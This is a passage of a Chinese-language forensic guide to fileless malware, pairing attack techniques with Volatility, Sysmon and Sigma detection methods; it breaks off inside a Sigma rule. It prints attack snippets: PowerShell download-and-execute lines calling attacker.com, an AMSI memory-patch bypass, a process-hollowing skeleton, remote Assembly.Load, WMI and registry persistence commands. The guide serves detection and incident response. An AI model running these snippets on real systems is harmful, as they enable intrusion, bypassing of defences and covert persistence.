无文件恶意代码取证深度分析 无文件恶意代码取证深度分析 无文件恶意代码(Fileless Malware)是当前高级持续性威胁(APT)和勒索软件运营中最具挑战性的攻击技术之一。与传统恶意软件在磁盘上留下可执行文件不同,无文件攻击将恶意代码完全驻留在内存、注册表、WMI 存储库或合法系统工具的进程空间中,使基于文件签名的检测机制几乎完全失效。据 Mandiant 2024 年威胁情报报告,超过 50% 的高级攻击活动中至少包含一种无文件技术,这一比例较三年前增长了近三倍。
无文件恶意代码给取证分析带来了本质性挑战:传统的磁盘取证工具无法获取恶意载荷的完整视图;内存取证需要在系统仍然运行时进行,增加了证据污染的风险;攻击者利用的系统合法工具(如 PowerShell、WMI、mshta)使得恶意行为与正常运维操作难以区分。本文系统性地梳理无文件恶意代码的核心攻击技术,从 PowerShell 内存执行到 Process Hollowing,从 .NET Assembly 反射加载到 WMI 事件订阅持久化,结合 Volatility 内存取证框架和 Sysmon 日志分析,提供一套完整的无文件恶意代码检测与响应方法论。
0x01 技术基础与无文件攻击概述 什么是无文件攻击 无文件攻击(Fileless Attack,MITRE ATT&CK T1059)是指攻击者在入侵过程中不将恶意可执行文件写入目标系统磁盘(或仅写入极少量的辅助文件),而是利用操作系统内置工具、内存空间、注册表键值或系统配置来完成攻击目标的技术集合。“无文件"并不意味着攻击过程中绝对不会有任何文件产生,而是指核心恶意载荷不以传统可执行文件(.exe、.dll)的形式存在于磁盘上。
无文件攻击技术分类 根据恶意代码的驻留位置和执行方式,无文件攻击技术可以划分为以下几大类别:
攻击类别 MITRE ATT&CK 驻留位置 执行方式 代表技术 脚本内存执行 T1059.001/T1059.003 进程内存 解释器直接执行 PowerShell IEX、CScript/JScript 进程注入 T1055.012 合法进程内存 API 注入 Process Hollowing、DLL Injection .NET CLR 注入 T1620 CLR 运行时 Assembly 反射加载 Assembly.Load、Reflection.Emit WMI 持久化 T1546.003 WMI 存储库 事件订阅触发 EventFilter + EventConsumer 注册表存储 T1546.003 注册表键值 脚本解释器读取执行 HKCU\Software\classes 注入 COM 对象劫持 T1574.001 COM 注册表 替换 COM 服务器 CLSID 默认值篡改 DLL 侧加载 T1574.002 合法程序目录 搜索顺序劫持 恶意 DLL 替换
与传统恶意软件的对比分析 对比维度 传统恶意软件 无文件恶意代码 磁盘痕迹 .exe/.dll 落地,可被杀软拦截 无或极少磁盘文件,签名检测失效 取证难度 磁盘镜像即可获取样本 需要内存取证,时效性要求高 检测方法 文件哈希、YARA 规则、静态分析 行为分析、内存扫描、日志关联 持久化机制 文件自启动、计划任务 WMI、注册表、COM 劫持 恢复难度 清除恶意文件即可初步遏制 内存驻留+多处持久化,清除复杂 攻击者画像 脚本小子到 APT 通常为高级攻击者或成熟犯罪组织
取证工具链 无文件恶意代码的取证分析需要一套专门化的工具链,覆盖内存采集、内存分析、日志关联和实时监控等多个环节。
工具名称 功能定位 适用场景 获取方式 WinPmem Windows 内存采集 生成物理内存转储文件 winpmem_mini_x64.exe DumpIt Windows 内存采集 一键式内存镜像获取 Comae Technologies Volatility 3 内存取证分析 恶意进程检测、代码提取 开源框架(Python) Rekall 内存取证分析 Google 开源内存分析 开源框架(Python) Sysmon 系统监控 进程创建/网络/注册表事件 Microsoft Sysinternals Autoruns 启动项分析 注册表/WMI/COM 启动点枚举 Microsoft Sysinternals ProcDump 进程转储 特定进程内存转储 Microsoft Sysinternals ProcMon 进程监控 实时 API 调用和文件/注册表监控 Microsoft Sysinternals PowerShell ScriptBlock Logging 脚本日志 记录 PowerShell 执行的完整脚本块 Windows 内置 ETW 跟踪 事件跟踪 内核级事件采集 Windows 内置
0x02 PowerShell 内存执行与 AMSI 绕过 PowerShell 在无文件攻击中的核心地位 PowerShell 是 Windows 操作系统内置的自动化和配置管理框架,同时也是无文件攻击中使用频率最高的工具。其强大的脚本能力、与 .NET Framework 的深度集成、以及默认安装在所有现代 Windows 系统上的特性,使其成为攻击者的理想选择。MITRE ATT&CK 将 PowerShell 内存执行归类为 T1059.001(Command and Scripting Interpreter: PowerShell)。
Invoke-Expression 与下载执行 Invoke-Expression(别名 IEX / iex)是 PowerShell 中最常被滥用的 cmdlet,它将字符串作为代码在当前 PowerShell 会话中执行。攻击者通常将其与网络下载功能结合,实现"下载并执行”(Download and Execute)攻击模式。
IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1' ) $wc = New-Object System.Net.WebClient
$wc.Proxy = [System.Net.WebRequest ]::GetSystemWebProxy()
$wc.Proxy.Credentials = [System.Net.CredentialCache ]::DefaultNetworkCredentials
IEX $wc.DownloadString('https://attacker.com/stage2.ps1' ) [Net.ServicePointManager ]::SecurityProtocol = [Net.SecurityProtocolType ]::Tls12
IEX (Invoke-WebRequest -Uri 'https://attacker.com/beacon.ps1' -UseBasicParsing).Content $data = (New-Object Net.WebClient).DownloadData('http://192.168.1.100/encoded.bin' )
$dec = [System.Text.Encoding ]::UTF8.GetString($data)
$dec = [Convert ]::FromBase64String($dec)
IEX ([Text.Encoding ]::UTF8.GetString($dec)) AMSI(反恶意软件扫描接口)绕过技术 AMSI(Antimalware Scan Interface,MITRE ATT&CK T1562.001)是微软在 Windows 10 中引入的安全机制,允许应用程序和操作系统将脚本内容发送给已安装的反恶意软件引擎进行扫描。AMSI 在 PowerShell 脚本执行前会对脚本内容进行检查,理论上可以在脚本进入解释器之前拦截恶意载荷。
然而,攻击者已经开发出多种 AMSI 绕过技术:
绕过技术 MITRE ATT&CK 攻击原理 检测难度 内存补丁 T1562.001 篡改 AmsiScanBuffer 函数返回值 中等 反射 DLL 加载 T1562.001 加载恶意 DLL 修改 AMSI 内部状态 较高 字符串混淆 T1027 Base64/ROT13/自定义编码绕过关键字 中等 ETW 补丁 T1562.006 禁用 Event Tracing for Windows 日志 高 PowerShell 版本降级 T1562.001 强制使用 AMSI 支持不完善的旧版本 低
内存补丁绕过示例(仅供防御研究):
$a=[Ref ].Assembly.GetTypes();ForEach ($b in $a){if ($b.Name -like "*iUtils" ){$c=$b}};$d=$c.GetFields('NonPublic,Static' );ForEach ($e in $d){if ($e.Name -like "*Context" ){$f=$e}};$g=$f.GetValue($null);[IntPtr ]$ptr=$g;[Int32[] ]$buf=@(0 );[System.Runtime.InteropServices.Marshal ]::Copy($buf,0 ,$ptr,1 ) 字符串变形绕过示例:
$s = 'I' + 'EX'
$cmd = (New-Object Net.WebClient).DownloadString('http://attacker.com/p.ps1' )
Invoke-Expression $cmd $code = [System.Text.Encoding ]::UTF8.GetString([Convert ]::FromBase64String('SWV4IChOZXQtT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vYXR0YWNrZXIuY29tL3BheWxvYWQucHMxJyk=' ))
& ([scriptblock ]::Create($code)) PowerShell 日志检测 启用和分析 PowerShell 日志是检测无文件攻击的关键手段。以下是需要配置的关键日志源:
日志源 注册表路径 功能描述 检测能力 ScriptBlock Logging HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging 记录所有 PowerShell 脚本块执行内容 捕获混淆/解密后的实际执行代码 Module Logging HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging 记录所有 PowerShell 模块调用细节 检测危险 cmdlet 的使用 Transcription HKLM\SOFTWARE\Policies\Microsoft\PowerShell\Transcription 记录完整的 PowerShell 会话输入输出 提供完整的行为审计 Operational Log Microsoft-Windows-PowerShell/Operational 记录 PowerShell 引擎事件 检测异常 PowerShell 进程创建
启用 PowerShell 日志的脚本:
$basePath = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell'
New-Item -Path " $basePath\ScriptBlockLogging" -Force
Set-ItemProperty -Path " $basePath\ScriptBlockLogging" -Name 'EnableScriptBlockLogging' -Value 1
Set-ItemProperty -Path " $basePath\ScriptBlockLogging" -Name 'EnableScriptBlockInvocationLogging' -Value 1
New-Item -Path " $basePath\ModuleLogging" -Force
Set-ItemProperty -Path " $basePath\ModuleLogging" -Name 'EnableModuleLogging' -Value 1
New-ItemProperty -Path " $basePath\ModuleLogging" -Name 'ModuleNames' -Value '*' -Force
New-Item -Path " $basePath\Transcription" -Force
Set-ItemProperty -Path " $basePath\Transcription" -Name 'EnableTranscripting' -Value 1
Set-ItemProperty -Path " $basePath\Transcription" -Name 'OutputDirectory' -Value 'C:\PSTranscripts' -Force PowerShell 无文件攻击日志检测查询(Sysmon + PowerShell 日志):
<Sysmon schemaversion= "4.90" >
<EventFiltering>
<ProcessCreate onmatch= "include" >
<Image condition= "is" > C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</Image>
</ProcessCreate>
<ProcessCreate onmatch= "include" >
<Image condition= "is" > C:\Windows\System32\mshta.exe</Image>
</ProcessCreate>
<ProcessCreate onmatch= "include" >
<Image condition= "is" > C:\Windows\System32\wscript.exe</Image>
</ProcessCreate>
<ProcessCreate onmatch= "include" >
<Image condition= "is" > C:\Windows\System32\cscript.exe</Image>
</ProcessCreate>
</EventFiltering>
</Sysmon> PowerShell 检测特征表 检测特征 Event ID / 日志来源 证据强度 说明 PowerShell 进程由 Word/Excel 启动 Sysmon Event ID 1 🔴确认恶意 Office 启动 PowerShell 是极强的恶意指标 PowerShell 执行 EncodedCommand 参数 Event ID 4104 (ScriptBlock) 🟡高度可疑 合法运维也可能使用,需结合上下文 PowerShell 下载并执行远程脚本 Event ID 4104 🔴确认恶意 IEX + DownloadString 组合是高置信度指标 PowerShell 修改 AMSI 相关函数 Event ID 4104 🔴确认恶意 任何 AMSI 篡改操作都应视为恶意 PowerShell 进程在异常工作目录下运行 Sysmon Event ID 1 🟡高度可疑 需结合路径和父进程判断 PowerShell 脚本块中出现 base64 编码命令 Event ID 4104 🟡高度可疑 可能是攻击者混淆手段
0x03 Process Hollowing 与进程替换技术 Process Hollowing 技术原理 Process Hollowing(进程镂空,MITRE ATT&CK T1055.012)是无文件攻击中最经典的进程注入技术之一。攻击者创建一个合法的系统进程(如 svchost.exe、explorer.exe)处于挂起状态,然后将其原始代码从内存中移除,替换为恶意载荷,最后恢复进程执行。最终,系统中运行的是一个具有合法进程名称和 PID 的恶意进程。
核心 API 调用链 Process Hollowing 的实现依赖一组特定的 Windows API 调用序列:
步骤 API 调用 功能描述 MITRE ATT&CK 1 CreateProcess (CREATE_SUSPENDED) 创建挂起的合法进程 T1055.012 2 NtUnmapViewOfSection 卸载目标进程的原始内存映射 T1055.012 3 VirtualAllocEx 在目标进程中分配新的内存空间 T1055.012 4 WriteProcessMemory 将恶意载荷写入目标进程内存 T1055.012 5 GetThreadContext 获取目标进程的线程上下文 T1055.012 6 SetThreadContext 修改目标进程的入口点(EAX/Rcx) T1055.012 7 ResumeThread 恢复目标进程执行 T1055.012
Process Hollowing 代码实现框架 以下伪代码展示了 Process Hollowing 的核心流程,帮助理解其技术细节:
STARTUPINFOA si = { sizeof (si) };
PROCESS_INFORMATION pi;
CreateProcessA ("C: \\ Windows \\ System32 \\ svchost.exe" , NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, & si, & pi);
NtUnmapViewOfSection (pi.hProcess, baseAddress);
LPVOID remoteMem = VirtualAllocEx (pi.hProcess, NULL, payloadSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory (pi.hProcess, remoteMem, payload, payloadSize, NULL);
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext (pi.hThread, & ctx);
ctx.Eax = (DWORD)remoteMem;
SetThreadContext (pi.hThread, & ctx);
ResumeThread (pi.hThread);变种技术对比 Process Hollowing 存在多种变种实现,攻击者通过不同的 API 组合来规避检测:
变种名称 核心差异 检测特征 隐蔽性 Classic Hollowing NtUnmapViewOfSection 移除原始代码 NtUnmapViewOfSection 调用 中等 Process Doppelgänging 利用 NTFS Transacted File 操作 CreateTransaction + NtCreateSection 高 Process Herpaderping 修改磁盘映像后更新内存映射 磁盘/内存映像不一致 高 Process Ghosting 利用文件删除后的 section 对象 已删除文件的 section 映射 极高 Module Stomping 替换合法加载的 DLL 模块 LoadLibrary 后的内存覆写 高 Process Tampering 直接修改已运行进程的内存段 VirtualProtect 权限变更 中等
内存取证检测方法 在 Volatility 3 中,可以通过以下命令检测 Process Hollowing 痕迹:
vol3 -f memory.dump windows.pslist
vol3 -f memory.dump windows.pstree
vol3 -f memory.dump windows.procinfo
vol3 -f memory.dump windows.malfind
vol3 -f memory.dump windows.vadinfo --pid 1234 Volatility malfind 输出示例分析:
PID Process Start VPN End VPN Tag Protection
----- --------------- ------------ ------------- ----- ----------
1234 svchost.exe 0x00000000 0x00010000 VadS PAGE_EXECUTE_READWRITE
Vad Tag: VadS
Protection: PAGE_EXECUTE_READWRITE
Flags: PrivateMemory: 1, NoChange: 0malfind 的关键检测逻辑:
检测具有 PAGE_EXECUTE_READWRITE 权限但不属于任何已知模块的内存区域 查找内存区域中包含可执行代码头部(MZ/PE header) 对比磁盘映像与内存映像的差异 更多 Volatility 检测命令:
vol3 -f memory.dump windows.netscan
vol3 -f memory.dump windows.handles --pid 1234
vol3 -f memory.dump windows.dlllist --pid 1234
vol3 -f memory.dump windows.cmdline
vol3 -f memory.dump windows.filescan
vol3 -f memory.dump windows.dumpfiles --virtaddr 0x00000000 --pid 1234 Process Hollowing 检测特征 检测特征 检测来源 证据强度 说明 svchost.exe 的父进程不是 services.exe Sysmon Event ID 1 🔴确认恶意 svchost.exe 的正常父进程只能是 services.exe 进程内存包含 RWX 权限区域且无对应模块 Volatility malfind 🔴确认恶意 高置信度的进程注入指标 CreateProcess 以 CREATE_SUSPENDED 标志创建 Sysmon Event ID 8 🟡高度可疑 需结合后续 API 调用判断 NtUnmapViewOfSection 在 svchost.exe 上下文中调用 Sysmon Event ID 10 🔴确认恶意 极度异常的 API 调用 进程磁盘映像哈希与内存映像不一致 内存对比分析 🔴确认恶意 Process Hollowing 的核心特征 父子进程关系异常 Sysmon Event ID 1 🟡高度可疑 需要建立正常进程树基线
0x04 .NET Assembly 反射加载与 CLR 注入 .NET Assembly 反射加载原理 .NET Framework 提供了强大的反射(Reflection)机制,允许程序在运行时动态加载、检查和执行程序集(Assembly)。攻击者利用这一特性,通过 Assembly.Load 方法将 Base64 编码的恶意 .NET 程序集直接加载到目标进程的内存中执行,无需在磁盘上创建任何文件。MITRE ATT&CK 将此类技术归类为 T1620(Reflective Code Loading)。
Assembly.Load 内存加载 $asm = [System.Reflection.Assembly ]::Load([Convert ]::FromBase64String('TVqQAAMAAAAEAAAA' ))
$asm.GetType('Namespace.Class' ).GetMethod('Method' ).Invoke($null, @()) [System.Reflection.Assembly ]::Load((New-Object System.Net.WebClient).DownloadData('http://attacker.com/implant.dll' ))
[Namespace.Program ]::Main(@()) $a = (New-Object System.Net.WebClient).DownloadData('https://attacker.com/beacon.bin' )
$dec = [System.IO.Compression.DeflateStream ]::new([System.IO.MemoryStream ]::new($a), [System.IO.Compression.CompressionMode ]::Decompress)
$br = New-Object System.IO.BinaryReader($dec)
$payload = $br.ReadBytes(1024 * 1024 )
[System.Reflection.Assembly ]::Load($payload) Reflection.Emit 动态代码生成 Reflection.Emit 允许在运行时动态创建和执行 IL(Intermediate Language)代码,是另一种高级无文件执行技术:
$ab = [System.Reflection.Emit.AssemblyBuilder ]::DefineDynamicAssembly([System.Reflection.AssemblyName ]::new('Mal' ), [System.Reflection.Emit.AssemblyBuilderAccess ]::Run)
$mb = $ab.DefineDynamicModule('MainMod' )
$tb = $mb.DefineType('Program' )
$mb2 = $tb.DefineMethod('Run' , [System.Reflection.MethodAttributes ]::Public -bor [System.Reflection.MethodAttributes ]::Static, [void ], @([string[] ]))
$il = $mb2.GetILGenerator()
$il.Emit([System.Reflection.Emit.OpCodes ]::Ldstr, 'Hello from emitted code' )
$il.Emit([System.Reflection.Emit.OpCodes ]::Call, [Console ].GetMethod('WriteLine' , @([string ])))
$il.Emit([System.Reflection.Emit.OpCodes ]::Ret)
$tp = $tb.CreateType()
$tp.GetMethod('Run' ).Invoke($null, @(@())) AppDomain CLR 注入 CLR(Common Language Runtime)注入允许攻击者在目标 .NET 进程的 CLR 运行时中注入恶意代码:
$domain = [AppDomain ]::CreateDomain('Loader' )
$domain.SetData('payload' , [byte[] ](Get-Content -Path 'C:\payload.bin' -Encoding Byte))
$domain.DoCallBack({param ($d) $p = [byte[] ]$d.GetData('payload' ); [System.Reflection.Assembly ]::Load($p); [Exec.Program ]::Go()}) $bytes = [Convert ]::FromBase64String('AQAAANAA...' )
$asm = [System.Reflection.Assembly ]::Load($bytes)
$type = $asm.GetType('Payload.Entry' )
$method = $type.GetMethod('Execute' )
$method.Invoke($null, $null) .NET Assembly 反射加载检测 检测特征 Event ID / 检测来源 证据强度 说明 PowerShell 中使用 Assembly.Load 加载远程字节数据 Event ID 4104 🔴确认恶意 Assembly.Load + 网络数据是典型无文件攻击模式 Reflection.Emit 动态生成可执行代码 Event ID 4104 🟡高度可疑 合法场景较少使用 CLR 加载异常模块(无对应磁盘文件) Sysmon Event ID 7 🔴确认恶意 CLR 模块加载路径为空说明是内存加载 .NET 程序集中存在大量 Base64 编码的字符串 Event ID 4104 🟡高度可疑 可能是编码后的载荷 AppDomain 被创建后加载非 GAC 程序集 CLR 日志 🟡高度可疑 需结合来源判断
CLR 注入检测命令 [System.AppDomain ]::CurrentDomain.GetAssemblies() | Select-Object -Property FullName, Location, IsDynamic | Format-Table -AutoSize vol3 -f memory.dump windows.vadinfo --pid 1234 | grep -i "rw-"
vol3 -f memory.dump windows.netscan 0x05 WMI 事件订阅与无文件持久化 WMI 事件订阅机制 Windows Management Instrumentation(WMI)是 Windows 操作系统内置的管理框架,提供了对系统资源的统一访问接口。WMI 事件订阅(Event Subscription,MITRE ATT&CK T1546.003)允许应用程序注册事件过滤器,当特定条件满足时自动触发响应操作。攻击者利用这一机制实现无文件持久化,恶意代码存储在 WMI 存储库(Repository)中而非磁盘文件上。
WMI 事件订阅三要素 组件 WMI 类名 功能描述 攻击者用途 事件过滤器 __EventFilter 定义触发事件的条件 监听系统启动、用户登录、定时触发等 事件消费者 __EventConsumer 定义事件触发后的响应动作 执行 PowerShell 命令、运行脚本 绑定 __FilterToConsumerBinding 将过滤器与消费者关联 建立完整的事件订阅链
CommandLineEventConsumer 无文件持久化 $filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
Name = 'SystemMonitor'
EventNamespace = 'root\cimv2'
QueryLanguage = 'WQL'
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = 8 AND TargetInstance.Minute = 30"
}
$consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{
Name = 'Updater'
CommandLineTemplate = 'powershell.exe -NoProfile -NonInteractive -EncodedCommand <BASE64_PAYLOAD>'
}
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{
Filter = $filter
Consumer = $consumer
} ActiveScriptEventConsumer 持久化 $filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
Name = 'BootTrigger'
EventNamespace = 'root\cimv2'
QueryLanguage = 'WQL'
Query = "SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'"
}
$consumer = Set-WmiInstance -Namespace root\subscription -Class ActiveScriptEventConsumer -Arguments @{
Name = 'ScriptRunner'
ScriptText = 'Set objShell = CreateObject("WScript.Shell")'
ScriptingEngine = 'VBScript'
}
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{
Filter = $filter
Consumer = $consumer
} WMI 持久化枚举与检测 Get-WmiObject -Namespace root\subscription -Class __EventFilter
Get-WmiObject -Namespace root\subscription -Class __EventConsumer
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding Get-WmiObject -Namespace root\subscription -Class __EventFilter | Select-Object Name, QueryLanguage, Query
Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer | Select-Object Name, CommandLineTemplate
Get-WmiObject -Namespace root\subscription -Class ActiveScriptEventConsumer | Select-Object Name, ScriptText, ScriptingEngine reg query "HKLM\SOFTWARE\Microsoft\WBEM\WDM" /s
reg query "HKLM\SOFTWARE\Microsoft\WBEM\WDM\DISCOVERY" /s
dir C:\W indows\S ystem32\w bem\R epository\ WMI 事件订阅检测特征 检测特征 检测来源 证据强度 说明 __EventFilter 中包含 WQL 查询监听系统事件 WMI 存储库枚举 🟡高度可疑 合法 WMI 事件过滤器较少出现在生产环境 CommandLineEventConsumer 执行 PowerShell 命令 WMI 存储库枚举 🔴确认恶意 WMI 触发的命令执行是高度可疑的持久化机制 __FilterToConsumerBinding 链中包含编码命令 WMI 存储库枚举 🔴确认恶意 使用编码命令几乎总是恶意指标 WMI 事件订阅在异常时间创建 WMI 存储库时间戳 🟡高度可疑 需要基线对比 恶意 WMI 提供者 DLL(如 WmiPrvSE 加载异常 DLL) Sysmon Event ID 7 🔴确认恶意 WMI 服务加载非标准 DLL WMI Repository 目录中的文件异常修改 文件系统时间线 🟡高度可疑 Repository 文件频繁更新可能表示活跃的恶意订阅
0x06 注册表 Shellcode 存储与执行 注册表作为无文件存储介质 Windows 注册表是一个分层的数据库,用于存储系统和应用程序的配置信息。攻击者利用注册表的以下特性实现无文件攻击:存储空间充足(可存储数 MB 的数据)、不会被文件系统扫描工具检测、系统启动时自动加载、与多种脚本解释器和系统工具兼容。
HKCU\Software\classes 注入技术 MITRE ATT&CK T1546.003 描述了一种利用注册表 HKCU\Software\classes 键存储恶意载荷的技术。当通过 COM 对象或脚本解释器访问注册表中的 ProgID 时,系统会自动加载并执行存储在注册表中的恶意数据。
$regPath = 'HKCU:\Software\classes\ms-settings\Shell\Open\command'
New-Item -Path $regPath -Force
Set-ItemProperty -Path $regPath -Name '(Default)' -Value 'C:\Windows\System32\cmd.exe /c powershell.exe -nop -w hidden -c <PAYLOAD>'
New-ItemProperty -Path $regPath -Name 'DelegateExecute' -Value '' -Force $shellcode = [Convert ]::FromBase64String('AAAA4BcA...' )
$regPath = 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer'
Set-ItemProperty -Path $regPath -Name 'Run' -Value $shellcode $payload = Get-Content -Path 'C:\temp\beacon.bin' -Encoding Byte
$encoded = [Convert ]::ToBase64String($payload)
$regPath = 'HKCU:\Software\Microsoft\Windows\CurrentVersion\RunOnce'
New-ItemProperty -Path $regPath -Name 'WindowsUpdate' -Value "powershell.exe -c `$ d=[Convert]::FromBase64String(' $encoded');IEX `$ d" -Force mshta 与 wscript 通过注册表执行 攻击者可以利用 Windows 脚本宿主通过注册表中的 COM 对象来执行恶意代码:
mshta vbscript: Execute("Set o=CreateObject(""WScript.Shell""):o.Run ""powershell.exe -nop -w hidden -c <COMMAND>"",0:Close" ) reg add "HKCU\Software\Classes\.hta\ShellNew\command" /ve /t REG_SZ /d "cmd.exe /c powershell.exe -nop -w hidden -c <PAYLOAD>" /f reg add "HKCU\Software\Classes\msfile\ShellNew\command" /ve /t REG_SZ /d "wscript.exe //B //Nologo C:\temp\payload.vbs" /f 注册表 Shellcode 存储检测 检测特征 检测来源 证据强度 说明 HKCU\Software\classes 下出现异常 ProgID 子键 注册表快照对比 🔴确认恶意 正常用户不应创建此类注册表项 ms-settings\Shell\Open\command 被修改 注册表监控 🔴确认恶意 这是已知的持久化技术 注册表 Run/RunOnce 键中包含编码 PowerShell 命令 注册表监控 🔴确认恶意 高置信度的持久化指标 注册表中存储大量 Base64 数据 注册表分析 🟡高度可疑 可能是编码后的 shellcode mshta.exe 或 wscript.exe 由异常进程启动 Sysmon Event ID 1 🟡高度可疑 脚本宿主被用于执行可疑操作 注册表键值大小异常(>10KB) 注册表分析 🟡高度可疑 正常注册表键值通常不会如此之大
0x07 DLL Side-Loading 与无文件落地 DLL Side-Loading 攻击原理 DLL Side-Loading(DLL 侧加载,MITRE ATT&CK T1574.002)是利用 Windows DLL 搜索顺序机制的攻击技术。当应用程序加载 DLL 时,Windows 会按照特定的搜索顺序查找 DLL 文件。攻击者将恶意 DLL 放置在合法程序的搜索路径中优先位置,使合法程序在不知情的情况下加载并执行恶意代码。
搜索顺序劫持 Windows DLL 搜索顺序(默认情况下):
优先级 搜索路径 攻击者利用方式 1 应用程序所在目录 将恶意 DLL 放置在目标程序同目录下 2 系统目录(System32) 通常权限不足,较少被利用 3 16 位系统目录 极少被利用 4 Windows 目录 权限较高,较少被利用 5 当前工作目录 通过相对路径加载的 DLL 可被劫持 6 PATH 环境变量中的目录 在 PATH 中优先位置植入恶意 DLL
已知白利用(LOLBin Side-Loading) 攻击者经常利用已知的合法程序 DLL 侧加载漏洞来执行恶意代码:
合法程序 被劫持的 DLL 典型使用场景 隐蔽性 vmnat.exe (VMware) vcruntime140.dll VMware 安装目录中侧加载 高 MsMpEng.exe (Defender) ntdll.dll 利用 Defender 的已知加载问题 高 OneDriveStandaloneUpdater.exe version.dll 云同步工具的侧加载 中 Msbuild.exe mscoree.dll .NET 构建工具侧加载 中 GUP.exe (Notepad++) libcurl.dll 软件更新程序侧加载 中 FoxitReader.exe dbghelp.dll PDF 阅读器侧加载 中 WinSxS 目录程序 各种 DLL SxS 部署的侧加载 高
DLL Side-Loading 检测 Get-Process | ForEach-Object {
$proc = $_
try {
$modules = $_.Modules
foreach ($m in $modules) {
$path = $m.FileName
if ($path -and $path -notmatch '^(C:\\Windows|C:\\Program Files)' ) {
[PSCustomObject ]@{
ProcessName = $proc.Name
PID = $proc.Id
ModulePath = $path
ModuleBase = $m.ModuleName
}
}
}
} catch {}
} | Format-Table -AutoSize vol3 -f memory.dump windows.dlllist --pid 1234
vol3 -f memory.dump windows.netscan
vol3 -f memory.dump windows.vadinfo --pid 1234 DLL Side-Loading 检测特征 检测特征 检测来源 证据强度 说明 合法程序加载路径异常的 DLL Sysmon Event ID 7 🟡高度可疑 DLL 不在预期的安装目录中 同目录下出现不匹配的 DLL 和 EXE 文件系统审计 🔴确认恶意 经典的 Side-Loading 攻击布局 DLL 文件的数字签名与宿主程序不一致 文件属性分析 🔴确认恶意 签名实体不匹配是强指标 已知易被 Side-Loading 利用的 DLL 出现在异常位置 IOC 匹配 🟡高度可疑 需结合上下文判断 恶意 DLL 的时间戳与合法程序不匹配 时间线分析 🟡高度可疑 可能是后期植入 DLL 加载后进程创建异常子进程 Sysmon Event ID 1 🔴确认恶意 侧加载后的二次执行是高置信度指标
0x08 证据强度分层与案例关联 证据强度分类体系 在无文件恶意代码的取证分析中,对发现的证据进行强度分层是做出准确判断的关键。以下是一个经过实践验证的三级证据分类体系:
分类级别 标记 定义 处置建议 确认恶意 🔴 有明确恶意意图和行为的直接证据,无需额外上下文即可判定 立即响应:隔离系统、终止进程、提取证据 高度可疑 🟡 强烈暗示恶意活动但需要进一步验证的间接证据 深入调查:收集更多上下文、关联其他证据源 需要关注 🟢 可能为正常行为但存在异常,需结合上下文判断 持续监控:加入观察列表、设置告警
无文件攻击全场景证据强度矩阵 检测场景 检测指标 证据强度 数据来源 PowerShell 由 Office 进程启动 Word/Excel → powershell.exe 🔴确认恶意 Sysmon Event ID 1 PowerShell 执行 EncodedCommand Base64 编码参数 🟡高度可疑 Event ID 4104 PowerShell IEX + 远程下载 DownloadString/IWR 组合 🔴确认恶意 Event ID 4104 Process Hollowing — svchost 父进程异常 svchost.exe 父进程非 services.exe 🔴确认恶意 Sysmon Event ID 1 Process Hollowing — 内存 RWX 区域 malfind 检出 🟡高度可疑 Volatility malfind Assembly.Load 加载远程数据 反射加载 + 网络 I/O 🔴确认恶意 Event ID 4104 + Sysmon WMI 事件订阅执行命令 CommandLineEventConsumer 🔴确认恶意 WMI 存储库枚举 WMI 事件过滤器监听登录事件 __EventFilter WQL 查询 🟡高度可疑 WMI 存储库枚举 注册表 HKCU\classes 异常子键 ms-settings 等 ProgID 被修改 🔴确认恶意 注册表监控 注册表存储 Base64 编码数据 超大注册表键值 🟡高度可疑 注册表分析 DLL Side-Loading — 异常 DLL 路径 合法 EXE 加载非标准路径 DLL 🟡高度可疑 Sysmon Event ID 7 DLL Side-Loading — 签名不匹配 DLL 签名与宿主程序不一致 🔴确认恶意 文件属性分析 PowerShell 日志被禁用 ScriptBlock Logging 被关闭 🟡高度可疑 系统配置审计 Sysmon 服务异常停止 Sysmon 进程退出 🔴确认恶意 系统服务监控 WMI 存储库文件异常修改 Repository 文件时间变化 🟢需要关注 文件系统时间线 注册表 Run 键新增条目 异常启动项 🟡高度可疑 Autoruns 扫描 异常 ETW 跟踪会话被创建 新的 Trace Session 🟡高度可疑 wevtutil 查询 内存中检测到已知恶意字符串 YARA 内存扫描匹配 🔴确认恶意 Volatility + YARA
证据链构建方法 在无文件攻击的取证分析中,构建完整的证据链至关重要。以下是证据链构建的最佳实践:
时间线对齐 :将 Sysmon 日志、PowerShell 日志、注册表修改时间、WMI 存储库更新时间和内存取证时间戳进行对齐进程树还原 :通过 Sysmon Event ID 1 还原完整的父子进程关系链内存-磁盘交叉验证 :对比 Volatility 提取的内存映像与磁盘文件系统,发现差异网络关联 :将内存中提取的 C2 通信与网络流量日志关联持久化点枚举 :全面扫描 WMI 订阅、注册表启动项、COM 劫持点0x09 自动化检测与狩猎 Sigma 检测规则 以下是针对无文件恶意代码的 Sigma 检测规则,适用于 Splunk、Elastic SIEM、Microsoft Sentinel 等平台。
规则 1:PowerShell 进程由 Office 应用程序启动
title : PowerShell Launched by Office Application
id : 7a2c1e8f-4b3d-4e5a-9c8f-1a2b3c4d5e6f
status : experimental
description : Detects PowerShell process spawned by Microsoft Office applications, which is a strong indicator of fileless malware execution
references :
